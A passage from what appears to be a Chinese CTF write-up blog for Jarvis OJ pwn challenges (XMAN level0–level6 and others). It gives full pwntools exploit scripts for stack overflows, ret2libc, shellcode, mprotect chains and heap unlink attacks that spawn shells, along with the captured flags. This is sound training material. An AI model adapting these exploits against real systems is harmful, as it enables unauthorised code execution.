p = remote('pwn2.jarvisoj.com', 9876)
elf = ELF('./memory', checksec=False)
plt_system = elf.plt['system']

p.recvuntil('\nwhat???? : \n0x')
addr_cat_flag = int(p.recv(7), 16)
pd = 'a' * 0x17
pd += p32(plt_system)
pd += p32(0x0804871E)
pd += p32(addr_cat_flag)
p.sendline(pd)
p.recvuntil('!!\n\n')
p.interactive()

Flag:

1
CTF{332e294fb7aeeaf0e1c7703a29304343}

[XMAN]level1

Description:

nc pwn2.jarvisoj.com 9877

level1.80eacdcd51aca92af7749d96efad7fb5


Solution:

漏洞点

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

程序没开任何保护,所以直接上 shellcode

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="i386", os="linux")
# p = process('./level1')
p = remote('pwn2.jarvisoj.com', 9877)
elf = ELF('./level1', checksec=False)

p.recvuntil("What's this:0x")
addr_buf = int(p.recv(8), 16)

pd = asm(shellcraft.sh())
pd = pd.ljust(0x8c, 'a')
pd += p32(addr_buf)
p.send(pd)
p.recv()
p.interactive()

Flag:

1
CTF{82c2aa534a9dede9c3a0045d0fec8617}

[XMAN]level2

Description:

nc pwn2.jarvisoj.com 9878

level2.54931449c557d0551c4fc2a10f4778a1


Solution:

这题给了可溢出的 read 函数和可利用的 system 函数

靠着在 IDA 里按下 ALT + F12 还能看见 /bin/sh\x00

所以没啥说的,水题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="i386", os="linux")
# p = process('./level2')
p = remote('pwn2.jarvisoj.com', 9878)
elf = ELF('./level2', checksec=False)

plt_system = elf.plt['system']
addr_bin_sh = 0x0804A024

pd = 'a' * 0x8c
pd += p32(plt_system)
pd += p32(0)
pd += p32(addr_bin_sh)
p.sendafter('Input:\n', pd)
p.interactive()

Flag:

1
CTF{1759d0cbd854c54ffa886cd9df3a3d52}

[XMAN]level3

Description:

nc pwn2.jarvisoj.com 9879


Hint1: 本题附件已更新,请大家重新下载以免影响解题。

level3.rar.2047525b05c499c9dd189ba212bba1f8


Solution:

还是 ret2libc 的题型,好多比赛签到 pwn 都是这个题型

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="i386", os="linux")
# p = process('./level3')
p = remote('pwn2.jarvisoj.com', 9879)
elf = ELF('./level3', checksec=False)
libc = ELF('./libc-2.19.so', checksec=False)

plt_write = elf.plt['write']
got_write = elf.got['write']
addr_main = 0x08048484

pd = 'a' * 0x8c
pd += p32(plt_write)
pd += p32(addr_main)
pd += p32(1)
pd += p32(got_write)
pd += p32(4)
p.sendafter('Input:\n', pd)

addr_write = u32(p.recv(4))
libcbase = addr_write - libc.sym['write']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x8c
pd += p32(addr_system)
pd += p32(0)
pd += p32(addr_bin_sh)
p.sendafter('Input:\n', pd)
p.interactive()

Flag:

1
CTF{d85346df5770f56f69025bc3f5f1d3d0}

[XMAN]level4

Description:

nc pwn2.jarvisoj.com 9880


level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0


Solution:

不给 libc 的题,用 LibcSearcher 就完事了,是我一开始的想法……

结果泄露出来的地址它没有对应的 libc,太邪门了,是不是浙大魔改 libc 了

于是还是乖乖用 DynELF 来做题……

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *

# context(log_level="debug", arch="i386", os="linux")
p = process('./level4')
# p = remote('pwn2.jarvisoj.com', 9880)
elf = ELF('./level4', checksec=False)

plt_read = elf.plt['read']
plt_write = elf.plt['write']
got_write = elf.got['write']
addr_vulnerable_function = elf.sym['vulnerable_function']
addr_bss = elf.bss()


def leak(address):
pd = 'a' * 0x8c
pd += p32(plt_write)
pd += p32(addr_vulnerable_function)
pd += p32(1)
pd += p32(address)
pd += p32(4)
p.send(pd)
data_address = p.recv(4)
success('data_address = ' + hex(u32(data_address)))
return data_address


dynelf = DynELF(leak=leak, elf=elf)
addr_system = dynelf.lookup('system', 'libc')
gdb.attach(p, "b *0x0804846E\nc")

# 输入 /bin/sh\x00
pd = 'a' * 0x8c
pd += p32(plt_read)
pd += p32(addr_vulnerable_function)
pd += p32(0)
pd += p32(addr_bss)
pd += p32(8)
p.send(pd)
p.send('/bin/sh\x00')

# get shell
pd = 'a' * 0x8c
pd += p32(addr_system)
pd += p32(0)
pd += p32(addr_bss)
p.send(pd)

p.interactive()

Flag:

1
CTF{882130cf51d65fb705440b218e94e98e}

[XMAN]level0

Description:

nc pwn2.jarvisoj.com 9881


level0.b9ded3801d6dd36a97468e128b81a65d


Solution:

程序有后门

1
2
3
4
int callsystem()
{
return system("/bin/sh");
}

用 read 函数溢出覆盖到后门即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./level0')
p = remote('pwn2.jarvisoj.com', 9881)
elf = ELF('./level0', checksec=False)

pd = 'a' * 0x88
pd += p64(elf.sym['callsystem'])
p.send(pd)
p.recv()
p.interactive()

Flag:

1
CTF{713ca3944e92180e0ef03171981dcd41}

[XMAN]level2(x64)

Description:

nc pwn2.jarvisoj.com 9882


level2_x64.04d700633c6dc26afc6a1e7e9df8c94e


Solution:

水题,64 位的 ret2text,跟前面 32 位差别就是传参方式不一样

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./level2_x64')
p = remote('pwn2.jarvisoj.com', 9882)
elf = ELF('./level2_x64', checksec=False)

plt_system = elf.plt['system']
addr_bin_sh = 0x600A90
addr_rdi_ret = 0x4006b3 # pop rdi ; ret
# gdb.attach(p, "b *0x40061E\nc")

pd = 'a' * 0x88
pd += p64(addr_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(plt_system)
pd += p64(0xdeadbeef)
p.sendafter('Input:\n', pd)
p.interactive()

Flag:

1
CTF{081ecc7c8d658409eb43358dcc1cf446}

[XMAN]level3(x64)

Description:

nc pwn2.jarvisoj.com 9883

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

level3_x64.rar.8c74c402b190ac3fbef5a9ae540c40de


Solution:

原理同 level3,把传参方式改成 amd64 的就行了

还是 ret2libc 题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com', 9883)
elf = ELF('./level3_x64', checksec=False)
libc = ELF('./libc-2.19.so', checksec=False)
got_write = elf.got['write']
plt_write = elf.plt['write']
addr_rdi_ret = 0x00000000004006b3 # pop rdi ; ret
addr_rsi_r15_ret = 0x00000000004006b1 # pop rsi ; pop r15 ; ret
addr_vulnerable_function = 0x00000000004005E6

pd = 'a' * 0x88
pd += p64(addr_rdi_ret)
pd += p64(1)
pd += p64(addr_rsi_r15_ret)
pd += p64(got_write)
pd += p64(8)
pd += p64(plt_write)
pd += p64(addr_vulnerable_function)
p.sendafter('Input:\n', pd)

addr_write = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_write - libc.sym['write']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x88
pd += p64(addr_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendafter('Input:\n', pd)
success('addr_write = ' + hex(addr_write))
p.interactive()

Flag:

1
CTF{b1aeaa97fdcc4122533290b73765e4fd}

[XMAN]level5

Description:

mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

nc pwn2.jarvisoj.com 9884

附件同level3_x64


Solution:

学到不少,也才知道 csu 调用函数是靠 got 表调用的,而不是 plt 表调用的,而不是

然后就是 mprotect 函数了,函数原型如下

1
int mprotect(void *addr, size_t len, int prot);

在网上找到的关于 mprotect 的讲解

1
2
3
4
mprotect 的第一个参数标识要写的内存页的首地址,这里是以页为单位访问。
一页是4kb也就是0x1000字节,所以mprotect的第一个参数必须是0x1000的倍数

第二个参数标识要设置的权限的地址的范围。这个多少都无所谓,不过需要把bss段包含进去。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level="debug", arch="amd64", os="linux")
# p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com', 9884)
elf = ELF('./level3_x64', checksec=False)
libc = ELF('./libc-2.19.so', checksec=False)

got_write = elf.got['write']
got_read = elf.got['read']
addr_vulnerable_function = 0x00000000004005E6
addr_csu_front = 0x0000000000400690
addr_csu_end = 0x00000000004006AA
addr_bss = elf.bss()


def csu(r12, rdx, rsi, edi, last_ret):
global addr_csu_front, addr_csu_end
pd = 'a' * 0x88
pd += p64(addr_csu_end)
pd += p64(0)
pd += p64(1)
pd += p64(r12)
pd += p64(rdx)
pd += p64(rsi)
pd += p64(edi)
pd += p64(addr_csu_front)
pd += 'a' * 0x38
pd += p64(last_ret)
p.sendafter('Input:\n', pd)
sleep(1)


csu(got_write, 8, got_write, 1, addr_vulnerable_function)
addr_write = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_write - libc.sym['write']
addr_mprotect = libcbase + libc.sym['mprotect']
sc = p64(addr_mprotect)
sc += asm(shellcraft.sh())
csu(got_read, len(sc), addr_bss, 0, addr_vulnerable_function)
p.send(sc)
# gdb.attach(p, "b *0x400699\nc")
csu(addr_bss, 7, 0x1000, 0x600000, addr_bss + 8)
success('addr_bss = ' + hex(addr_bss))
p.interactive()

Flag:

1
CTF{9c3a234bd804292b153e7a1c25da648c}

[XMAN]level6

Description:

nc pwn2.jarvisoj.com 9885

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

level6.rar.430fbe63473e4849547df611cbaa49dd


Solution:

漏洞点主要还是 delete 操作没有将相应数组上的地址置零导致了 UAF

题目只能创建 0x80 × k 大小的堆块,所以用 unsorted bin attack 方便

主要就是 unlink 操作,可以地址任意写,改变掉数组里的地址即可改变 got 表调用的函数

以此就可以提权

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./freenote_x86')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
elif debug == 0:
p = remote('pwn2.jarvisoj.com', 9885)
libc = ELF('./libc-2.19.so', checksec=False)
elf = ELF('./freenote_x86', checksec=False)

libc_one_gadget = {
'libc-2.19_i386': [0x401b3, 0x65699, 0x6569f, 0x656a3],
'libc-2.23_i386': [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
}


def show(show_idx):
p.sendlineafter('Your choice: ', '1')
p.recvuntil(str(show_idx) + '. ')
p.recv(4)
return u32(p.recv(4))


def create(create_content):
p.sendlineafter('Your choice: ', '2')
p.sendlineafter('Length of new note: ', str(len(create_content)))
p.sendafter('Enter your note: ', create_content)


def edit(edit_idx, edit_content):
p.sendlineafter('Your choice: ', '3')
p.sendlineafter('Note number: ', str(edit_idx))
p.sendlineafter('Length of note: ', str(len(edit_content)))
p.sendafter('Enter your note: ', edit_content)


def delete(delete_idx):
p.sendlineafter('Your choice: ', '4')
p.sendlineafter('Note number: ', str(delete_idx))


# the range of chunk size is 0X80
# if input_size <= 0X80×k, the true size is 0X80×k, k=1,2,...,n
# len(create_content) must be create_size
# len(edit_content) must be edit_size
create('a' * 4) # 0[chunk_size=0x80]
create('a' * 4) # 1[chunk_size=0x80]
delete(0)
create('A' * 4) # 0[chunk_size=0x80]

addr_main_arena = show(0) - 48
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x18
addr_system = libcbase + libc.sym['system']
got_free = elf.got['free']

create('b' * 4) # 2
create('b' * 4) # 3
create('b' * 4) # 4
delete(0) # [make unsorted bin link]
delete(2) # [make unsorted bin link, make big chunk 0x88]
create('B' * 4) # 0[leak addr_chunk2_prev_size]
addr_heap_base = show(0) - 0xd28
delete(0) # [make big chunk 0x110]
delete(1) # [make big chunk 0x198]
delete(3) # [make big chunk 0x220]
pd = p32(0) + p32(0x81)
pd += p32(addr_heap_base + 0x0c) + p32(addr_heap_base + 0x10) # 指向前块的bk
pd = pd.ljust(0x80, 'a')
pd += p32(0x80) + p32(0x80)
pd = pd.ljust(0x100, 'a')
create(pd) # 0[make fake chunk for unlink]
delete(1)

pd = p32(2) + p32(1) + p32(4) + p32(got_free)
pd += p32(1) + p32(8) + p32(addr_heap_base + 0xe38)
pd = pd.ljust(0x100, '\x00')
edit(0, pd)
edit(0, p32(addr_system))
edit(1, '/bin/sh\x00')
# gdb.attach(p, "b *0x08048B56\nc\nsi")
delete(1)
success('libcbase = ' + hex(libcbase))
success('addr_main_arena = ' + hex(addr_main_arena))
success('addr_heap_base = ' + hex(addr_heap_base))
p.interactive()

Flag:

1
CTF{1ed0f9f23eb1df2c29149f44a597932c}

[Xman]level6_x64

Description:

nc pwn2.jarvisoj.com 9886

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

level6_x64.rar.411d6ed2269d4c8402b9e3148f4f64a5


Solution:

跟上面的差不多,最后 edit 时需要的数值是 0x120 让我试了好久
肯定是代码没读好,一直以为应该是 0x80 的倍数

atoi 真是一个好用的函数

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./freenote_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elif debug == 0:
p = remote('pwn2.jarvisoj.com', 9886)
libc = ELF('./libc-2.19.so', checksec=False)
elf = ELF('./freenote_x64', checksec=False)

libc_one_gadget = {
'libc-2.19_i386': [0x401b3, 0x65699, 0x6569f, 0x656a3],
'libc-2.19_amd64': [0x46428, 0x4647c, 0xe9415, 0xea36d],
'libc-2.23_i386': [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6],
'libc-2.23_amd64': [0x45216, 0x4526a, 0xf02a4, 0xf1147]
}


def show(show_idx):
p.sendlineafter('Your choice: ', '1')
p.recvuntil(str(show_idx) + '. ')
p.recv(8)


def create(create_content):
p.sendlineafter('Your choice: ', '2')
p.sendlineafter('Length of new note: ', str(len(create_content)))
p.sendafter('Enter your note: ', create_content)


def edit(edit_idx, edit_content):
p.sendlineafter('Your choice: ', '3')
p.sendlineafter('Note number: ', str(edit_idx))
p.sendlineafter('Length of note: ', str(len(edit_content)))
p.sendafter('Enter your note: ', edit_content)


def delete(delete_idx):
p.sendlineafter('Your choice: ', '4')
p.sendlineafter('Note number: ', str(delete_idx))


# the range of chunk size is 0X80
# if input_size <= 0X80×k, the true size is 0X80×k, k=1,2,...,n
# len(create_content) must be create_size
# len(edit_content) must be edit_size
create('a' * 8) # 0[chunk_size=0x80]
create('a' * 8) # 1[chunk_size=0x80]
delete(0)
create('A' * 8) # 0[chunk_size=0x80]

show(0)
addr_main_arena = u64(p.recv(6).ljust(8, '\x00')) - 101
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr_system = libcbase + libc.sym['system']

create('b' * 8) # 2
create('b' * 8) # 3
create('b' * 8) # 4
delete(0) # [make unsorted bin link]
delete(2) # [make unsorted bin link, make big chunk 0x90]
create('B' * 8) # 0[leak addr_chunk2_prev_size]
show(0)
addr_heap_base = u64(p.recv(4).ljust(8, '\x00')) - 0x1940
delete(1) # [make big chunk 0x120]
delete(3) # [make big chunk 0x1b0]

pd = p64(0) + p64(0x81)
pd += p64(addr_heap_base + 0x18) + p64(addr_heap_base + 0x20) # 指向前块的bk
pd = pd.ljust(0x80, 'a')
pd += p64(0x80) + p64(0x90)
pd = pd.ljust(0x110, 'b')
pd += p64(0x90) + p64(0x71)
edit(0, pd) # 0[make fake chunk for unlink]
delete(1)
pd = p64(1) # 总可用指针
pd += p64(1) + p64(8) + p64(elf.got['atoi'])
pd = pd.ljust(0x120, '\x00')
edit(0, pd)
edit(0, p64(addr_system))
p.sendline('/bin/sh\x00')
success('addr_chunk2 = ' + hex(addr_heap_base + 0x1940))
success('addr_main_arena = ' + hex(addr_main_arena))
success('addr_heap_base = ' + hex(addr_heap_base))
p.interactive()

Flag:

1
CTF{de7effd8864f018660e178b96b8b4ffc}

Item Board

Description:

nc pwn2.jarvisoj.com 9887

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

ItemBoard.rar.d9341860d10a51eec756f0cb911e5bec


Solution:

Image

exp如下:

1
2



Flag:

1
2


文章目录
  1. 1. Tell Me Something
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. Smashes
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. Backdoor
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. Guess
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. Guestbook2
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. HTTP
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
  7. 7. Test Your Memory
    1. 7.1. Description:
    2. 7.2. Solution:
    3. 7.3. Flag:
  8. 8. [XMAN]level1
    1. 8.1. Description:
    2. 8.2. Solution:
    3. 8.3. Flag:
  9. 9. [XMAN]level2
    1. 9.1. Description:
    2. 9.2. Solution:
    3. 9.3. Flag:
  10. 10. [XMAN]level3
    1. 10.1. Description:
    2. 10.2. Solution:
    3. 10.3. Flag:
  11. 11. [XMAN]level4
    1. 11.1. Description:
    2. 11.2. Solution:
    3. 11.3. Flag:
  12. 12. [XMAN]level0
    1. 12.1. Description:
    2. 12.2. Solution:
    3. 12.3. Flag:
  13. 13. [XMAN]level2(x64)
    1. 13.1. Description:
    2. 13.2. Solution:
    3. 13.3. Flag:
  14. 14. [XMAN]level3(x64)
    1. 14.1. Description:
    2. 14.2. Solution:
    3. 14.3. Flag:
  15. 15. [XMAN]level5
    1. 15.1. Description:
    2. 15.2. Solution:
    3. 15.3. Flag:
  16. 16. [XMAN]level6
    1. 16.1. Description:
    2. 16.2. Solution:
    3. 16.3. Flag:
  17. 17. [Xman]level6_x64
    1. 17.1. Description:
    2. 17.2. Solution:
    3. 17.3. Flag:
  18. 18. Item Board
    1. 18.1. Description:
    2. 18.2. Solution:
    3. 18.3. Flag:
|